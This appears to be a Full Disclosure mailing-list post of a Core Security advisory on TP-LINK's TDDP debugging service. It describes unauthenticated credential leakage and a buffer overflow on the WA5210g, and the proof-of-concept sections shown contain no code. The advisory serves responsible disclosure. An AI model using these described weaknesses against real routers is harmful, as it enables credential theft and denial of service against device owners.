Subject: [FD] [CORE-2016-0007] - TP-LINK TDDP Multiple Vulnerabilities

1. Advisory Information

Title: TP-LINK TDDP Multiple Vulnerabilities
Advisory ID: CORE-2016-0007
Advisory URL: http://www.coresecurity.com/advisories/tp-link-tddp-multiple-vulnerabilities
Date published: 2016-11-21
Date of last update: 2016-11-18
Vendors contacted: TP-Link
Release mode: User release

2. Vulnerability Information

Class: Missing Authentication for Critical Function [CWE-306], Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') [CWE-120]
Impact: Code execution, Information leak
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-pending-assignment-1, CVE-pending-assignment-2

3. Vulnerability Description

TP-LINK [1] ships some of their devices with a debugging protocol activated by default. This debugging protocol is listening on the 1040 UDP port on the LAN interface.

Vulnerabilities were found in the implementation of this protocol, that could lead to remote code execution and information leak (credentials acquisition).

4. Vulnerable Devices

TP-LINK WA5210g. (Firmware v1 and v2 are vulnerable)
Other devices might be affected, but they were not tested.

5. Vendor Information, Solutions and Workarounds

No workarounds are available for this device.

6. Credits

This vulnerability was discovered and researched by Andres Lopez Luksenberg from Core Security Exploit Team. The publication of this advisory was coordinated by Joaquin Rodriguez Varela from Core Advisories Team.

7. Technical Description / Proof of Concept Code

TP-LINK distributes some of their hardware with a debugging service activate by default. This program uses a custom protocol. Vulnerabilities were found using this protocol, that could lead to remote code execution or information leak.

7.1. Missing Authentication for TDDP v1

[CVE-pending-assignment-1] If version 1 is selected when communicating with the TDDP service, there is a lack of authentication in place. Additionally if the message handler accepts the "Get configuration" message type, this will result in the program leaking the web interface configuration file, which includes the web login credentials.

The following is a proof of concept to demonstrate the vulnerability (Impacket [2] is required for the PoC to work):

7.2. Buffer Overflow in TDDP v1 protocol

[CVE-pending-assignment-2] A buffer overflow vulnerability was found when sending a handcrafted "set configuration" message to the TDDP service with an extensive configuration file and forcing version 1 in the packet.

The following is a proof of concept to demonstrate the vulnerability by crashing the TDDP service (Impacket [2] is required for the PoC to work). To reestablish the TDDP service the device must be restarted:
